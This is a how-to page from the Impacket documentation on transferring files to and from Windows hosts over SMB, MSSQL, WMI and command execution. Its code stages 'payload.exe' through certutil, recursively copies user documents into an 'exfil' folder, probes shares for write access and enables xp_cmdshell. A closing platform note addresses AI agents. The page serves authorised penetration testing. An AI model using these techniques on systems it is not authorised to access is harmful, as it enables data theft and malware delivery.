> For the complete documentation index, see [llms.txt](https://www.impacket.wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.impacket.wiki/how-to-guides/protocol-file-ops.md).

# Multi Protocol File Operations

You need to transfer files to or from a remote Windows machine through whatever access channel is available.

## What you need

* Valid credentials on the target
* Network access on the relevant port for your chosen method

***

## SMB shares (port 445)

The most direct method when you have share access.

### Upload a file

```python
from impacket.smbconnection import SMBConnection

conn = SMBConnection(target_ip, target_ip)
conn.login(username, password, domain)

with open('local_file.exe', 'rb') as f:
    conn.putFile('ADMIN$', 'Temp\\uploaded.exe', f.read)
```

### Download a file

```python
with open('downloaded.txt', 'wb') as f:
    conn.getFile('ADMIN$', 'Temp\\target_file.txt', f.write)
```

### List directory contents before downloading

```python
files = conn.listPath('ADMIN$', 'Temp\\*')
for f in files:
    name = f.get_longname()
    size = f.get_filesize()
    is_dir = f.is_directory()
    if not is_dir:
        print(f"  {name:<40} {size:>10} bytes")
```

### Download an entire directory recursively

```python
import os

def download_directory(conn, share, remote_path, local_path):
    os.makedirs(local_path, exist_ok=True)
    files = conn.listPath(share, remote_path + '\\*')
    for f in files:
        name = f.get_longname()
        if name in ('.', '..'):
            continue
        remote_file = f'{remote_path}\\{name}'
        local_file = os.path.join(local_path, name)
        if f.is_directory():
            download_directory(conn, share, remote_file, local_file)
        else:
            with open(local_file, 'wb') as fh:
                conn.getFile(share, remote_file, fh.write)
            print(f"  Downloaded: {remote_file}")

download_directory(conn, 'C$', 'Users\\labuser\\Documents', './exfil/documents')
```

### Upload to a non-admin share

If you don't have admin access, use any writeable share:

```python
shares = conn.listShares()
for share in shares:
    share_name = share['shi1_netname'][:-1]
    share_type = share['shi1_type']
    if share_type == 0:  # disk share
        try:
            conn.listPath(share_name, '*')
            print(f"  Readable: {share_name}")
            # Try writing a test file
            conn.putFile(share_name, 'test_write.tmp', lambda x: b'test')
            conn.deleteFile(share_name, 'test_write.tmp')
            print(f"  Writeable: {share_name}")
        except Exception:
            pass
```

***

## Through command execution (when direct file access is restricted)

### Upload via certutil base64 decoding

When you can execute commands but not write to shares directly:

```python
import base64

with open('payload.exe', 'rb') as f:
    encoded = base64.b64encode(f.read()).decode()

# Split into chunks (command line length limits)
chunk_size = 4000
chunks = [encoded[i:i+chunk_size] for i in range(0, len(encoded), chunk_size)]

# Write the first chunk (overwrite)
execute_command(f'echo {chunks[0]} > C:\\Windows\\Temp\\b64.txt')

# Append remaining chunks
for chunk in chunks[1:]:
    execute_command(f'echo {chunk} >> C:\\Windows\\Temp\\b64.txt')

# Decode on target
execute_command('certutil -decode C:\\Windows\\Temp\\b64.txt C:\\Windows\\Temp\\payload.exe')
execute_command('del C:\\Windows\\Temp\\b64.txt')
```

### Download via command execution output

```python
# Read a file through command execution
execute_command('type C:\\Users\\labuser\\Desktop\\secrets.txt > C:\\Windows\\Temp\\output.txt')
# Then retrieve output.txt over SMB
```

***

## Through MSSQL (port 1433)

### Read files via OPENROWSET

```python
from impacket import tds

client = tds.MSSQL(target_ip, 1433)
client.connect()
client.login(None, sql_user, sql_pass)

client.sql_query("SELECT * FROM OPENROWSET(BULK N'C:\\Windows\\win.ini', SINGLE_CLOB) AS Contents")
client.printReplies()
for row in client.rows:
    print(row['BulkColumn'])
```

### Write files via xp\_cmdshell

```python
client.sql_query("EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;")
client.printReplies()

# Use echo to write content, or bcp to export query results
client.sql_query("EXEC xp_cmdshell 'echo test content > C:\\Windows\\Temp\\written.txt'")
client.printReplies()
```

### Transfer files via OLE Automation

```python
client.sql_query("EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;")
client.printReplies()

# Use ADODB.Stream to write binary content from the SQL server
```

***

## Through WMI (port 135)

### Copy files between locations on the target

If you can access WMI but not SMB shares, use `CIM_DataFile` to interact with the filesystem:

```python
# Copy a file to an accessible location
iWbemServices.ExecQuery(
    "SELECT * FROM CIM_DataFile WHERE Name = 'C:\\\\sensitive\\\\data.txt'"
)

# Use Win32_Process.Create to copy files
win32_process, _ = iWbemServices.GetObject('Win32_Process')
win32_process.Create('cmd.exe /c copy C:\\sensitive\\data.txt C:\\share\\data.txt', 'C:\\', None)
```

***

## Choosing a method

If you have admin SMB access, use direct `putFile`/`getFile` for speed and simplicity. For large directories, use the recursive download pattern. If direct file access is blocked, stage files through command execution. If your only access is MSSQL, use `OPENROWSET` for reads and `xp_cmdshell` for writes. If only DCOM/WMI is available, use process creation to copy files into a location you can reach through another channel.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://www.impacket.wiki/how-to-guides/protocol-file-ops.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
